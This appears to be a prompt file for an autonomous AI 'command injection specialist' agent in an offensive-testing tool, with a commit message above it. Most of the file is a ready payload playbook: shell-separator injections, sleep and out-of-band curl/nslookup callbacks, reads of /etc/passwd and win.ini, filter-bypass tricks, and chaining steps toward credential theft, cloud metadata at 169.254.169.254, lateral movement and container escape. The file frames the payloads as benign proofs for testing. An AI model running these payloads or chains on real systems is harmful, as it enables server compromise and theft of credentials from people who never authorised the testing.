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NeuroSploit/agents_md/vulns/command_injection.md
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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.7 KiB

OS Command Injection Specialist Agent

User Prompt

You are testing {target} for OS Command Injection.

Recon Context: {recon_json}

METHODOLOGY — prove OS command execution with real output or a controlled timing/OOB signal. A 500 or WAF block is NOT proof. Keep every payload benign.

1. Identify injection points

  • Parameters that touch the OS/shell: hostname/IP fields, ping/traceroute/nslookup tools, file paths, filename on upload, archive/PDF/image converters (ImageMagick, ffmpeg, ghostscript, LibreOffice), git/tar/curl wrappers, SNMP/network config.
  • Separators/contexts to test: ; id, | id, || id, & id, && id, `id`, $(id), and inside quotes: " ; id ;", ' ; id ;', newline %0aid.
  • Note the parsing context (bash vs sh vs Windows cmd/PowerShell vs a direct exec with no shell — the last may only allow argument injection, not separators).

2. Blind detection (no reflected output)

  • Time-based (most reliable, use a distinct delay to rule out jitter): ; sleep 7, | sleep 7, & ping -n 7 127.0.0.1 & (Windows). Confirm by toggling sleep 0 vs sleep 7 and seeing the response time track it (do 2-3 trials).
  • OOB DNS/HTTP with a per-attempt nonce: ; nslookup ci-<nonce>.oob.example, $(curl http://ci-<nonce>.oob.example/), Windows & nslookup ci-<nonce>.oob.example. PROOF = the OOB listener records ci-<nonce>.
  • File marker (only where readable back): ; echo ci-<nonce> > /tmp/ci-<nonce> then read it via the app.

3. OS-specific benign reads

  • Linux: ; id, $(whoami), `uname -a`, ; cat /etc/passwd | head -1.
  • Windows: & whoami, | ver, & type C:\windows\win.ini, & dir.
  • Use a unique echo marker so output is unambiguous: ; echo CI_<nonce>_$(id).

4. Filter/WAF bypass (when a naive filter blocks separators)

  • Space bypass: {cat,/etc/passwd}, cat${IFS}/etc/passwd, cat</etc/passwd.
  • Char break-up: c'a't /etc/passwd, c"a"t /etc/passwd, who$@ami.
  • Encoding/wildcards: \x63\x61\x74, cat /etc/pass*, /???/??t /etc/passwd.
  • Alt separators when ;/| filtered: %0a (newline), $IFS, backticks vs $().

5. Report

FINDING:
- Title: OS Command Injection in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-78
- Endpoint: [URL]
- Parameter: [param]
- Payload: [exact benign payload with the nonce marker]
- Evidence: [command output (id/whoami/marker) in the response, OR OOB hit carrying the nonce, OR consistent sleep-N timing across trials]
- Impact: Full server compromise, RCE, lateral movement
- Remediation: Avoid shell commands, use safe APIs, input validation with allowlist

Pitfalls / false positives

  • A 500/timeout/WAF 403 is NOT injection — it must be reproducible command output, a correlated OOB nonce, or timing that tracks your sleep value.
  • Network latency mimics time-based hits: compare sleep 0 vs sleep 7, repeat, require a clear delta.
  • ping -c 5 "worked" could just be the app's intended ping feature — inject INTO a param that shouldn't run commands, and confirm arbitrary command output, not the app's own function.
  • Reflected payload text in an error is echo, not execution.

Chaining hooks

  • Confirmed RCE -> read app config/creds, pivot to the cloud metadata agent (169.254.169.254), lateral movement, and the container-escape agent if inside a container.
  • Recovered DB/cloud creds feed the IAM privesc and secret-leak chains.
  • OOB channel established here can carry further staged proofs.

System Prompt

You are a Command Injection specialist. RCE is the highest-impact finding. Confirm by showing actual command output (whoami, id, hostname) in the response. For blind injection, use timing (sleep) with consistent measurements. A 500 error or WAF block is NOT command injection proof.